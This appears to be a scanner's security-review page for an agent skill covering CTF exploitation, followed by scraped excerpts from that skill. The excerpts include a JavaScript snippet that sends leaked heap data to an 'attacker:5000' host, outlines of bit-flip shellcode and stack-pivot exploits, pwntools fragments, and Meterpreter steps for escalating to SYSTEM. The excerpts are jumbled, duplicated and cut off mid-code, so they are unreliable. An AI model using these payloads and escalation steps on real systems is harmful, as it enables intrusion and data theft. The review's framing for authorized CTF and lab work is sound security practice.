Security checks across malware telemetry and agentic risk
This is a coherent CTF exploitation skill, but it gives an agent broad, actionable exploit and privilege-escalation guidance that should be reviewed before use.
Install only if you want agent assistance for authorized CTF, training, or isolated lab exploitation. Add explicit lab-only rules and require human approval before running exploit commands, making network callbacks, changing system files, weakening kernel protections, or attempting privilege escalation.
// Stage 1: trigger heap commands, exfiltrate leak
var res = await fetch("/api/canvas/get/1");
var data = await res.json();
await fetch('http://attacker:5000/', {
method: 'POST', mode: 'no-cors',
body: JSON.stringify({"pixels": btoa(JSON.stringify(data.pixels))})
});**Alternative approach:** XOR shellcode with existing `.text` bytes, compute which bits differ, flip each one, then redirect execution to the shellcode location. **Key insight:** A single-bit-flip primitive becomes arbitrary code execution through cumulative modifications. Each flip changes one instruction or operand, and returning to the function start enables unlimited flips. Priority targets: (a) stack unwinding instructions (control flow hijack), (b) existing branch instructions (bypass security checks), (c) `mprotect` arguments (change memory permissions), (d) size parameters (expand read buffers). ---
**Exploit structure:** 1. Use `pop` instructions to adjust rsp to a predictable memory bucket (~1/16 probability due to ASLR) 2. Seed specific stack values for `pop sp` instruction (pivots to controlled location) 3. Place `syscall` gadget disguised as `push fs` with self-modifying byte mutation 4. Use `read(0, stage2_buf, size)` syscall to load stage 2 5. Stage 2 contains interactive shell code
**Alternative approach:** XOR shellcode with existing `.text` bytes, compute which bits differ, flip each one, then redirect execution to the shellcode location. **Key insight:** A single-bit-flip primitive becomes arbitrary code execution through cumulative modifications. Each flip changes one instruction or operand, and returning to the function start enables unlimited flips. Priority targets: (a) stack unwinding instructions (control flow hijack), (b) existing branch instructions (bypass security checks), (c) `mprotect` arguments (change memory permissions), (d) size parameters (expand read buffers). ---
exe = ELF('./revenant')
io = process('./revenant')
# Calculate iterations needed to overflow shadow_stack_ptr to username
shadow_stack_addr = exe.symbols["shadow_stack"]
username_addr = exe.symbols["username"]
iterations = (username_addr - shadow_stack_addr) // 8 # 512```python
# Convert board to coordinates and feed to binary
import re
from pwn import *
rows = open('board.txt').read().split('\n')
coords = []## SeDebugPrivilege to SYSTEM (RainbowTwo HTB) Exploits `SeDebugPrivilege` to escalate to SYSTEM by migrating into a SYSTEM-owned process. The privilege allows debugging any process, even if listed as "Disabled" -- Meterpreter enables it automatically before use. **Steps:** 1. Upload Meterpreter payload and obtain a session
```python from pwn import * # r15 is the field immediately before rdi in the sigframe # rdi = pointer to "/bin/sh" = 0x2f9fb0 → bytes [B0, 9F, 2F, ...] # B0, 9F are UTF-8 continuation bytes (10xxxxxx) — invalid as sequence start # Solution: set r15's last byte to 0xE0 (3-byte UTF-8 leader)
1/64 vendors flagged this skill as malicious, and 63/64 flagged it as clean.